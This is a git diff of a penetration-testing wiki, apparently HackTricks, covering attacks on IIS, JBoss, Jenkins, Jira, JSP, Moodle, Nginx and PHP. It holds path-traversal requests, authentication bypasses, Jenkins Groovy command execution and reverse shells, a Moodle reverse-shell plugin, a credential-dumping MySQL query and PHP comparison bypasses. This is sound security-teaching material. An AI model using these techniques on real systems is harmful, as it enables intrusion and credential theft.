+[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\ +[https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\ +[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\ +[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\ [https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt) Use it without adding any extension, the files that need it have it already. @@ -57,9 +57,9 @@ Use it without adding any extension, the files that need it have it already. ### Leaking source code {% hint style="info" %} -As summary, there are several web.config files inside the folders of the application with references to "**assemblyIdentity**" files and "**namespaces**". With this information it's possible to know **where are executables located** and download them. -From the **downloaded Dlls** it's also possible to find **new namespaces** where you should try to access and get the web.config file in order to find new namespaces and assemblyIdentity. -Also, the files **connectionstrings.config** and **global.asax** may contain interesting information. +As summary, there are several web.config files inside the folders of the application with references to "**assemblyIdentity**" files and "**namespaces**". With this information it's possible to know **where are executables located** and download them.\ +From the **downloaded Dlls** it's also possible to find **new namespaces** where you should try to access and get the web.config file in order to find new namespaces and assemblyIdentity.\ +Also, the files **connectionstrings.config** and **global.asax** may contain interesting information.\ Reference: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) {% endhint %} @@ -187,9 +187,9 @@ HTTP/1.1 200 OK #### Downloading DLLs -From a very previous response, the declaration of a **custom namespace** \(since other namespaces are defaults\) suggests that a DLL called "**WebApplication1**" is present in the /bin directory. +From a very previous response, the declaration of a **custom namespace** (since other namespaces are defaults) suggests that a DLL called "**WebApplication1**" is present in the /bin directory. -```text +``` GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1 Host: example-mvc-application.minded [...] @@ -239,7 +239,7 @@ Note how in the previous output you can see a new namespace called: **WebApplica From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/) -```text +``` C:\Apache\conf\httpd.conf C:\Apache\logs\access.log C:\Apache\logs\error.log @@ -320,29 +320,29 @@ C:\xampp\tomcat\conf\server.xml If you see an error like the following one: -![](../../.gitbook/assets/image%20%28446%29%20%281%29%20%282%29%20%282%29%20%283%29%20%283%29%20%282%29.png) +![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2).png>) -It means that the server **didn't receive the correct domain name** inside the Host header. +It means that the server **didn't receive the correct domain name** inside the Host header.\ In order to access the web page you could take a look to the served **SSL Certificate** and maybe you can find the domain/subdomain name in there. If it isn't there you may need to **brute force VHosts** until you find the correct one. ## Old IIS vulnerabilities worth looking for -### Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure +### Microsoft IIS tilde character “\~” Vulnerability/Feature – Short File/Folder Name Disclosure -You can try to **enumerate folders and files** inside every discovered folder \(even if it's requiring Basic Authentication\) using this **technique**. +You can try to **enumerate folders and files** inside every discovered folder (even if it's requiring Basic Authentication) using this **technique**.\ The main limitation of this technique if the server is vulnerable is that **it can only find up to the first 6 letters of the name of each file/folder and the first 3 letters of the extension** of the files. You can use [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) to test for this vulnerability:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` -![](../../.gitbook/assets/image%20%28161%29.png) +![](<../../.gitbook/assets/image (183).png>) -Original research: [https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf) +Original research: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf) You can also use **metasploit**: `use scanner/http/iis_shortname_scanner` ### Basic Authentication bypass -**Bypass** a Baisc authentication \(**IIS 7.5**\) trying to access: `/admin:$i30:$INDEX_ALLOCATION/admin.php` or `/admin::$INDEX_ALLOCATION/admin.php` +**Bypass** a Baisc authentication (**IIS 7.5**) trying to access: `/admin:$i30:$INDEX_ALLOCATION/admin.php` or `/admin::$INDEX_ALLOCATION/admin.php` You can try to **mix** this **vulnerability** and the last one to find new **folders** and **bypass** the authentication. @@ -362,11 +362,10 @@ This information includes remote client IP's, session IDs, all request and respo ASPXAUTH uses the following info: -* **`validationKey`** \(string\): hex-encoded key to use for signature validation. -* **`decryptionMethod`** \(string\): \(default “AES”\). -* **`decryptionIV`** \(string\): hex-encoded initialization vector \(defaults to a vector of zeros\). -* **`decryptionKey`** \(string\): hex-encoded key to use for decryption. +* **`validationKey`** (string): hex-encoded key to use for signature validation. +* **`decryptionMethod`** (string): (default “AES”). +* **`decryptionIV`** (string): hex-encoded initialization vector (defaults to a vector of zeros). +* **`decryptionKey`** (string): hex-encoded key to use for decryption. -However, some people will use the **default values** of these parameters and will use as **cookie the email of the user**. Therefore, if you can find a web using the **same platform** that is using the ASPXAUTH cookie and you **create a user with the email of the user you want to impersonate** on the server under attack, you may be able to us**e the cookie from the second server in the first one** and impersonate the user. +However, some people will use the **default values** of these parameters and will use as **cookie the email of the user**. Therefore, if you can find a web using the **same platform** that is using the ASPXAUTH cookie and you **create a user with the email of the user you want to impersonate** on the server under attack, you may be able to us**e the cookie from the second server in the first one** and impersonate the user.\ This attacked worked in this [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19). - diff --git a/pentesting/pentesting-web/jboss.md b/pentesting/pentesting-web/jboss.md index e0479e6d..f024348f 100644 --- a/pentesting/pentesting-web/jboss.md +++ b/pentesting/pentesting-web/jboss.md @@ -4,13 +4,13 @@ The _/web-console/ServerInfo.jsp_ and _/status?full=true_ web pages often reveal **server details**. -You can expose **management servlets** via the following paths within JBoss \(depending on the version\): _/admin-console_, _/jmx-console_, _/management_, and _/web-console_. Default credentials are **admin**/**admin**. Upon gaining access, you can use available invoker servlets to interact with exposed MBeans: +You can expose **management servlets **via the following paths within JBoss (depending on the version): _/admin-console_, _/jmx-console_, _/management_, and _/web-console_. Default credentials are **admin**/**admin**. Upon gaining access, you can use available invoker servlets to interact with exposed MBeans: -* /web-console/Invoker \(JBoss versions 6 and 7\) -* /invoker/JMXInvokerServlet and /invoker/EJBInvokerServlet \(JBoss 5 and prior\) +* /web-console/Invoker (JBoss versions 6 and 7) +* /invoker/JMXInvokerServlet and /invoker/EJBInvokerServlet (JBoss 5 and prior) -**You can enumerate and even exploit a JBOSS service using** [**clusterd**](https://github.com/hatRiot/clusterd) -**Or using metasploit:** `msf > use auxiliary/scanner/http/jboss_vulnscan` +**You can enumerate and even exploit a JBOSS service using **[**clusterd**](https://github.com/hatRiot/clusterd)****\ +**Or using metasploit: ** `msf > use auxiliary/scanner/http/jboss_vulnscan` ### Exploitation @@ -18,7 +18,6 @@ You can expose **management servlets** via the following paths within JBoss \(de ### Google Dork -```text +``` inurl:status EJInvokerServlet ``` - diff --git a/pentesting/pentesting-web/jenkins.md b/pentesting/pentesting-web/jenkins.md index 650a70da..ae573328 100644 --- a/pentesting/pentesting-web/jenkins.md +++ b/pentesting/pentesting-web/jenkins.md @@ -2,40 +2,46 @@ ## Enumeration -In order to search for interesting Jenkins pages without authentication like \(_/people_ or _/asynchPeople_, this lists the current users\) you can use: +In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use: -```text +``` msf> use auxiliary/scanner/http/jenkins_enum ``` Check if you can execute commands without needing authentication: -```text +``` msf> use auxiliary/scanner/http/jenkins_command ``` Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**. -You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_ +You may be able to get the Jenkins version from the path_** /oops **_or _**/error**_ -![](../../.gitbook/assets/image%20%28422%29.png) +![](<../../.gitbook/assets/image (415).png>) ## Login -You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.** -Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account \(i.e., a test **Github/Bitbucket account**\). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). +You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**\ +****Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in **to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). ### Bruteforce -**Jekins** does **not** implement any **password policy** or username **brute-force mitigation**. Then, you **should** always try to **brute-force** users because probably **weak passwords** are being used \(even **usernames as passwords** or **reverse** usernames as passwords\). +**Jekins **does **not **implement any **password policy **or username **brute-force mitigation**. Then, you **should **always try to** brute-force** users because probably** weak passwords** are being used (even **usernames as passwords** or **reverse **usernames as passwords). -```text +``` msf> use auxiliary/scanner/http/jenkins_login ``` -## Exploiting Vulnerabilities +## Known Vulnerabilities -{% embed url="https://github.com/gquere/pwn\_jenkins" %} +{% embed url="https://github.com/gquere/pwn_jenkins" %} + +### Extract Secrets + +In the same repo mentioned before you can find tools to f**ind cleartext secrets from builds and also from Groovy**. + +You can also find a tool for **password spraying**. ## Code Execution @@ -43,32 +49,32 @@ There are 3 ways to get **code execution** with Jenkins. ### **Create a new project** -This method is very noisy because you have to create a hole new project \(obviously this will only work if you user is allowed to create a new project\). +This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project). -1. Create a new project \(Freestyle project\) -2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell \(can be obtained using _unicorn_\). Start the payload with _PowerShell.exe_ instead using _powershell._ +1. Create a new project (Freestyle project) +2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._ 3. Click **Build now** -\*\*\*\* +**** -Go to the projects and check **if you can configure any** of them \(look for the "Configure button"\): +Go to the projects and check **if you can configure any** of them (look for the "Configure button"): -![](../../.gitbook/assets/image%20%28228%29.png) +![](<../../.gitbook/assets/image (158).png>) -Or **try to access to the path** _**/configure**_ in each project \(example: /_me/my-views/view/all/job/Project0/configure_\). +Or **try to access to the path **_**/configure**_ in each project (example: /_me/my-views/view/all/job/Project0/configure_). If you are allowed to configure the project you can **make it execute commands when a build is successful**: -![](../../.gitbook/assets/image%20%2887%29.png) +![](<../../.gitbook/assets/image (159).png>) -Click on **Save** and **build** the project and your **command will be executed**. +Click on **Save **and **build **the project and your **command will be executed**.\ If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**. ### **Execute Groovy script** Best way. Less noisy. -1. Go to _path\_jenkins/script_ +1. Go to _path_jenkins/script_ 2. Inside the text box introduce the script ```python @@ -78,11 +84,11 @@ println "Found text ${process.text}" You could execute a command using: `cmd.exe /c dir` -In **linux** you can do: **`"ls /".execute().text`** +In **linux **you can do: **`"ls /".execute().text`** -If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ \(triple double quotes\) to execute the payload. +If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload. -**Another useful groovy script** is \(replace \[INSERT COMMAND\]\): +**Another useful groovy script **is (replace \[INSERT COMMAND]): ```python def sout = new StringBuffer(), serr = new StringBuffer() @@ -116,7 +122,7 @@ cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc You can use MSF to get a reverse shell: -```text +``` msf> use exploit/multi/http/jenkins_script_console ``` @@ -124,7 +130,7 @@ msf> use exploit/multi/http/jenkins_script_console Dump Jenkins credentials using: -```text +``` msf> post/multi/gather/jenkins_gather ``` @@ -133,4 +139,3 @@ msf> post/multi/gather/jenkins_gather {% embed url="https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/" %} {% embed url="https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password" %} - diff --git a/pentesting/pentesting-web/jira.md b/pentesting/pentesting-web/jira.md index 1b271545..7aed82f3 100644 --- a/pentesting/pentesting-web/jira.md +++ b/pentesting/pentesting-web/jira.md @@ -2,9 +2,9 @@ ### Check Privileges -Inside a Jira instance **any user** \(even **non-authenticated**\) can **check its privileges** in `/rest/api/2/mypermissions` or `/rest/api/3/mypermissions` . These endpoints will return your current privileges. -If a **non-authenticated** user have any **privilege**, this is a **vulnerability** \(bounty?\). -If an **authenticated** user have any **unexpected privilege**, this a a **vuln**. +Inside a Jira instance **any user** (even **non-authenticated**) can **check its privileges** in `/rest/api/2/mypermissions` or `/rest/api/3/mypermissions` . These endpoints will return your current privileges.\ +If a **non-authenticated** user have any **privilege**, this is a **vulnerability **(bounty?).\ +If an **authenticated **user have any **unexpected privilege**, this a a **vuln**. ```bash #Check non-authenticated privileges @@ -14,5 +14,4 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h ### Automated enumeration * [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe) -* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira_scan) - +* [https://github.com/bcoles/jira_scan](https://github.com/bcoles/jira_scan) diff --git a/pentesting/pentesting-web/jsp.md b/pentesting/pentesting-web/jsp.md index 15097d54..627fb0b3 100644 --- a/pentesting/pentesting-web/jsp.md +++ b/pentesting/pentesting-web/jsp.md @@ -4,14 +4,12 @@ Info from [here](https://blog.rakeshmane.com/2020/04/jsp-contextpath-link-manipulation-xss.html). -```text +``` http://127.0.0.1:8080//rakeshmane.com/xss.js#/..;/..;/contextPathExample/test.jsp ``` Accessing that web you may change all the links to request the information to _**rakeshmane.com**_: -![](../../.gitbook/assets/image%20%2854%29.png) - - - +![](<../../.gitbook/assets/image (260).png>) +\ diff --git a/pentesting/pentesting-web/moodle.md b/pentesting/pentesting-web/moodle.md index b921f3b9..e1a32073 100644 --- a/pentesting/pentesting-web/moodle.md +++ b/pentesting/pentesting-web/moodle.md @@ -66,21 +66,21 @@ cmsmap http://moodle.example.com/ ### CVEs -I found that the automatic tools are pretty **useless finding vulnerabilities affecting the moodle version**. You can **check** for them in [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)\*\*\*\* +I found that the automatic tools are pretty **useless finding vulnerabilities affecting the moodle version**. You can **check** for them in [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)**** ## **RCE** -You need to have **manager** role and you **can install plugins** inside the **"Site administration"** tab**:** +You need to have **manager** role and you **can install plugins** inside the** "Site administration" **tab**:** -![](../../.gitbook/assets/image%20%28449%29.png) +![](<../../.gitbook/assets/image (447).png>) If you are manager you may still need to **activate this option**. You can see how ins the moodle privilege escalation PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321). -Then, you can **install the following plugin** that contains the classic pentest-monkey php r**ev shell** \(_before uploading it you need to decompress it, change the IP and port of the revshell and crompress it again_\) +Then, you can** install the following plugin** that contains the classic pentest-monkey php r**ev shell** (_before uploading it you need to decompress it, change the IP and port of the revshell and crompress it again_) {% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %} -Or you could use the plugin from [https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle_RCE) to get a regular PHP shell with the "cmd" parameter. +Or you could use the plugin from [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) to get a regular PHP shell with the "cmd" parameter. To access launch the malicious plugin you need to access to: @@ -102,5 +102,3 @@ find / -name "config.php" 2>/dev/null | grep "moodle/config.php" /usr/local/bin/mysql -u --password= -e "use moodle; select email,username,password from mdl_user; exit" ``` - - diff --git a/pentesting/pentesting-web/nginx.md b/pentesting/pentesting-web/nginx.md index 80b90d6a..9b5115de 100644 --- a/pentesting/pentesting-web/nginx.md +++ b/pentesting/pentesting-web/nginx.md @@ -1,10 +1,10 @@ # Nginx -**Most part of this page was copied from** [**https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/**](https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/)\*\*\*\* +**Most part of this page was copied from **[**https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/**](https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/)**** ## Missing root location -```text +``` server { root /etc/nginx; @@ -23,7 +23,7 @@ A request as simple as `GET /nginx.conf` would reveal the contents of the Nginx Inside the Nginx configuration look the "location" statements, if someone looks like: -```text +``` location /imgs { alias /path/images/ } @@ -31,19 +31,19 @@ location /imgs { There is a LFI vulnerability because: -```text +``` /imgs../flag.txt ``` Transforms to: -```text +``` /path/images/../flag.txt ``` The correct configuration will be: -```text +``` location /imgs/ { alias /path/images/ } @@ -55,7 +55,7 @@ More info: [https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misc Accunetix tests: -```text +``` alias../ => HTTP status code 403 alias.../ => HTTP status code 404 alias../../ => HTTP status code 403 @@ -67,11 +67,11 @@ alias../ => HTTP status code 403 Some frameworks, scripts and Nginx configurations unsafely use the variables stored by Nginx. This can lead to issues such as XSS, bypassing HttpOnly-protection, information disclosure and in some cases even RCE. -### SCRIPT\_NAME +### SCRIPT_NAME With a configuration such as the following: -```text +``` location ~ \.php$ { include fastcgi_params; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; @@ -98,19 +98,19 @@ SCRIPT_NAME = /index.php//index.php ### Usage of $uri can lead to CRLF Injection -Another misconfiguration related to Nginx variables is to use `$uri` or `$document_uri` instead of `$request_uri`. `$uri` and `$document_uri` contain the normalized URI whereas the `normalization` in Nginx includes URL decoding the URI. [Volema](http://blog.volema.com/nginx-insecurities.html#header:~:text=Case%202%3A%20rewrite%20with%20%24uri%20%28%24document_uri%29) found that `$uri` is commonly used when creating redirects in the Nginx configuration which results in a CRLF injection. +Another misconfiguration related to Nginx variables is to use `$uri` or `$document_uri` instead of `$request_uri`. `$uri` and `$document_uri` contain the normalized URI whereas the `normalization` in Nginx includes URL decoding the URI. [Volema](http://blog.volema.com/nginx-insecurities.html#header:\~:text=Case%202%3A%20rewrite%20with%20%24uri%20\(%24document_uri\)) found that `$uri` is commonly used when creating redirects in the Nginx configuration which results in a CRLF injection. An example of a vulnerable Nginx configuration is: -```text +``` location / { return 302 https://example.com$uri; } ``` -The new line characters for HTTP requests are \r \(Carriage Return\) and \n \(Line Feed\). URL-encoding the new line characters results in the following representation of the characters `%0d%0a`. When these characters are included in a request like `http://localhost/%0d%0aDetectify:%20clrf` to a server with the misconfiguration, the server will respond with a new header named `Detectify` since the $uri variable contains the URL-decoded new line characters. +The new line characters for HTTP requests are \r (Carriage Return) and \n (Line Feed). URL-encoding the new line characters results in the following representation of the characters `%0d%0a`. When these characters are included in a request like `http://localhost/%0d%0aDetectify:%20clrf` to a server with the misconfiguration, the server will respond with a new header named `Detectify` since the $uri variable contains the URL-decoded new line characters. -```text +``` HTTP/1.1 302 Moved Temporarily Server: nginx/1.19.3 Content-Type: text/html @@ -128,7 +128,7 @@ In some cases, user-supplied data can be treated as an Nginx variable. It’s un One way to test for this is to set a referer header value: -```text +``` $ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’ ``` @@ -140,7 +140,7 @@ With Nginx’s `proxy_pass`, there’s the possibility to intercept errors and H If a client sends an invalid HTTP request to Nginx, that request will be forwarded as-is to the backend, and the backend will answer with its raw content. Then, Nginx won’t understand the invalid HTTP response and just forward it to the client. Imagine a uWSGI application like this: -```text +``` def application(environ, start_response): start_response('500 Error', [('Content-Type', 'text/html'),('Secret-Header','secret-info')]) @@ -149,7 +149,7 @@ def application(environ, start_response): And with the following directives in Nginx: -```text +``` http { error_page 500 /html/error.html; proxy_intercept_errors on; @@ -157,13 +157,13 @@ http { } ``` -[proxy\_intercept\_errors](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_intercept_errors) will serve a custom response if the backend has a response status greater than 300. In our uWSGI application above, we will send a `500 Error` which would be intercepted by Nginx. +[proxy_intercept_errors](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_intercept_errors) will serve a custom response if the backend has a response status greater than 300. In our uWSGI application above, we will send a `500 Error` which would be intercepted by Nginx. -[proxy\_hide\_header](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_hide_header) is pretty much self explanatory; it will hide any specified HTTP header from the client. +[proxy_hide_header](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_hide_header) is pretty much self explanatory; it will hide any specified HTTP header from the client. If we send a normal `GET` request, Nginx will return: -```text +``` HTTP/1.1 500 Internal Server Error Server: nginx/1.10.3 Content-Type: text/html @@ -173,7 +173,7 @@ Connection: close But if we send an invalid HTTP request, such as: -```text +``` GET /? XTTP/1.1 Host: 127.0.0.1 Connection: close @@ -181,7 +181,7 @@ Connection: close We will get the following response: -```text +``` XTTP/1.1 500 Error Content-Type: text/html Secret-Header: secret-info @@ -189,9 +189,9 @@ Secret-Header: secret-info Secret info, should not be visible! ``` -## merge\_slashes set to off +## merge_slashes set to off -The [merge\_slashes](http://nginx.org/en/docs/http/ngx_http_core_module.html#merge_slashes) directive is set to “on” by default which is a mechanism to compress two or more forward slashes into one, so `///` would become `/`. If Nginx is used as a reverse-proxy and the application that’s being proxied is vulnerable to local file inclusion, using extra slashes in the request could leave room for exploit it. This is described in detail by [Danny Robinson and Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d). +The [merge_slashes](http://nginx.org/en/docs/http/ngx_http_core_module.html#merge_slashes) directive is set to “on” by default which is a mechanism to compress two or more forward slashes into one, so `///` would become `/`. If Nginx is used as a reverse-proxy and the application that’s being proxied is vulnerable to local file inclusion, using extra slashes in the request could leave room for exploit it. This is described in detail by [Danny Robinson and Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d). We found 33 Nginx configuration files with `merge_slashes` set to “off”. @@ -206,4 +206,3 @@ Detectify has created a GitHub repository where you can use Docker to set up you ### [GIXY](https://github.com/yandex/gixy) Gixy is a tool to analyze Nginx configuration. The main goal of Gixy is to prevent security misconfiguration and automate flaw detection. - diff --git a/pentesting/pentesting-web/php-tricks-esp/README.md b/pentesting/pentesting-web/php-tricks-esp/README.md index fca67c62..e6b95ab0 100644 --- a/pentesting/pentesting-web/php-tricks-esp/README.md +++ b/pentesting/pentesting-web/php-tricks-esp/README.md @@ -1,4 +1,4 @@ -# PHP Tricks \(SPA\) +# PHP Tricks (SPA) ## Cookies common location: @@ -6,14 +6,14 @@ This is also valid for phpMyAdmin cookies. Cookies: -```text +``` PHPSESSID phpMyAdmin ``` Locations: -```text +``` /var/lib/php/sessions /var/lib/php5/ /tmp/ @@ -22,30 +22,30 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e ## Bypassing PHP comparisons -### Loose comparisons/Type Juggling \( == \) +### Loose comparisons/Type Juggling ( == ) PHP comparison tables: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php) -![](../../../.gitbook/assets/image%20%28123%29.png) +![](<../../../.gitbook/assets/image (40).png>) -{% file src="../../../.gitbook/assets/en-php-loose-comparison-type-juggling-owasp \(1\).pdf" %} +{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %} -* `"string" == 0 -> True` ****A string which doesn't start with a number is equals to a number -* `"0xAAAA" == "43690" -> True` Strings composed by numbers in dec or hex format can be compare to other numbers/strings with True as result if the numbers were the same \(numbers in a string are interpreted as numbers\) +* `"string" == 0 -> True`** **A string which doesn't start with a number is equals to a number +* `"0xAAAA" == "43690" -> True` Strings composed by numbers in dec or hex format can be compare to other numbers/strings with True as result if the numbers were the same (numbers in a string are interpreted as numbers) * `"0e3264578" == 0 --> True` A string starting with "0e" and followed by anything will be equals to 0 -* `"0X3264578" == 0X --> True` A string starting with "0" and followed by any letter \(X can be any letter\) and followed by anything will be equals to 0 +* `"0X3264578" == 0X --> True` A string starting with "0" and followed by any letter (X can be any letter) and followed by anything will be equals to 0 * `"0e12334" == "0" --> True` This is very interesting because in some cases yo can control the string input of "0" and some content that is being hashed and compared to it. Therefore, if you can provide a value that will create a hash starting with "0e" and without any letter, you could bypass the comparison. You can find **already hashed strings** with this format here: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) * `"X" == 0 --> True` Any letter in a string is equals to int 0 -Con estas igualdades se pueden bypasear comparaciones de PHP \(teniendo en cuenta que todo lo que se manda por parámetros normales de formulario siempre son strings\). -Sobre todo usando el truco de String que empieza por "0e" siempre es igual a "0", así si hay que pasar un hmac y podemos alterar valores, podemos enviar como hmac simplemente "0" y si el hmac sale que vale "0eXXXXXXXXXXX" pues dará correcto y se lo tragará -Se puede intentar enviar los datos encodeados como json a ver si los lee \(hay que cambiar la cabecera de tipo de datos para decir que es json y rezar para que se lo coma\) \(en json se elige el tipo de datos\) +Con estas igualdades se pueden bypasear comparaciones de PHP (teniendo en cuenta que todo lo que se manda por parámetros normales de formulario siempre son strings).\ +Sobre todo usando el truco de String que empieza por "0e" siempre es igual a "0", así si hay que pasar un hmac y podemos alterar valores, podemos enviar como hmac simplemente "0" y si el hmac sale que vale "0eXXXXXXXXXXX" pues dará correcto y se lo tragará\ +Se puede intentar enviar los datos encodeados como json a ver si los lee (hay que cambiar la cabecera de tipo de datos para decir que es json y rezar para que se lo coma) (en json se elige el tipo de datos) [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) -### **in\_array\(\)** +### **in_array()** -**Type Juggling** also affects to the `in_array()` function by default \(you need to set to true the third argument to make an strict comparison\): +**Type Juggling** also affects to the `in_array()` function by default (you need to set to true the third argument to make an strict comparison): ```php $values = array("apple","orange","pear","grape"); @@ -55,9 +55,9 @@ var_dump(in_array(0, $values, true)); //False ``` -### **strcmp\(\)/**strcasecmp\(\) +### **strcmp()/**strcasecmp() -If this function is used for **any authentication check** \(like checking the password\) and the user controls one side of the comparison, he can send an empty array instead of a string as the value of the password \(`https://example.com/login.php/?username=admin&password[]=`\) and bypass this check: +If this function is used for **any authentication check** (like checking the password) and the user controls one side of the comparison, he can send an empty array instead of a string as the value of the password (`https://example.com/login.php/?username=admin&password[]=`) and bypass this check: ```php if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } @@ -70,19 +70,19 @@ The same error occurs with `strcasecmp()` ### Strict type Juggling -Even if `===` is **being used** there could be errors that makes the **comparison vulnerable** to **type juggling**. For example, if the comparison is **converting the data to a different type of object before comparing**: +Even if `===` is **being used **there could be errors that makes the **comparison vulnerable **to **type juggling**. For example, if the comparison is **converting the data to a different type of object before comparing**: ```php (int) "1abc" === (int) "1xyz" //This will be true ``` -### preg\_match\(/^.\*/\) +### preg_match(/^.\*/) -**`preg_match()`** could be used to **validate user input** \(it **checks** if any **word/regex** from a **blacklist** is **present** on the **user input** and if it's not, the code can continue it's execution\). +**`preg_match()`** could be used to **validate user input** (it **checks **if any **word/regex** from a **blacklist **is **present **on the **user input **and if it's not, the code can continue it's execution). #### New line bypass -However, when delimiting the start of the regexp`preg_match()` **only checks the first line of the user input**, then if somehow you can **send** the input in **several lines**, you could be able to bypass this check. Example: +However, when delimiting the start of the regexp`preg_match()` **only checks the first line of the user input**, then if somehow you can **send **the input in **several lines**, you could be able to bypass this check. Example: ```php $myinput="aaaaaaa @@ -97,7 +97,7 @@ echo preg_match("/^.*1.*$/",$myinput); //0 --> In this scenario preg_match DOESN'T find the char "1" ``` -To bypass this check you could **send the value with new-lines urlencoded** \(`%0A`\) or if you can send **JSON data**, send it in **several lines**: +To bypass this check you could **send the value with new-lines urlencoded** (`%0A`) or if you can send **JSON data**, send it in **several lines**: ```php { @@ -109,10 +109,10 @@ Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ram #### **Length error bypass** -\(This bypass was tried apparently on PHP 5.2.5 and I couldn't make it work on PHP 7.3.15\) -If you can send to `preg_match()` a valid very **large input**, it **won't be able to process it** and you will be able to **bypass** the check. For example, if it is blacklisting a JSON you could send: +(This bypass was tried apparently on PHP 5.2.5 and I couldn't make it work on PHP 7.3.15)\ +If you can send to `preg_match()` a valid very **large input**, it **won't be able to process it** and you will be able to **bypass **the check. For example, if it is blacklisting a JSON you could send: -```text +``` payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000000 + '"}' ``` @@ -133,20 +133,20 @@ $obfs += ""; //int 7 ## More tricks -**register\_globals**: En PHP < 4.1.1 o si se ha configurado mal puede ser que las register\_globals estén activas \(o se esté imitando su comportamiento\). Esto implica que en variables globales como $\_GET si estas poseen un valor por ejemplo $\_GET\["param"\]="1234", puedes acceder a este mediante $param. Por lo tanto, enviando parámetros de Get o Post se pueden sobreescribir variables que se usan dentro del código. +**register_globals**: En PHP < 4.1.1 o si se ha configurado mal puede 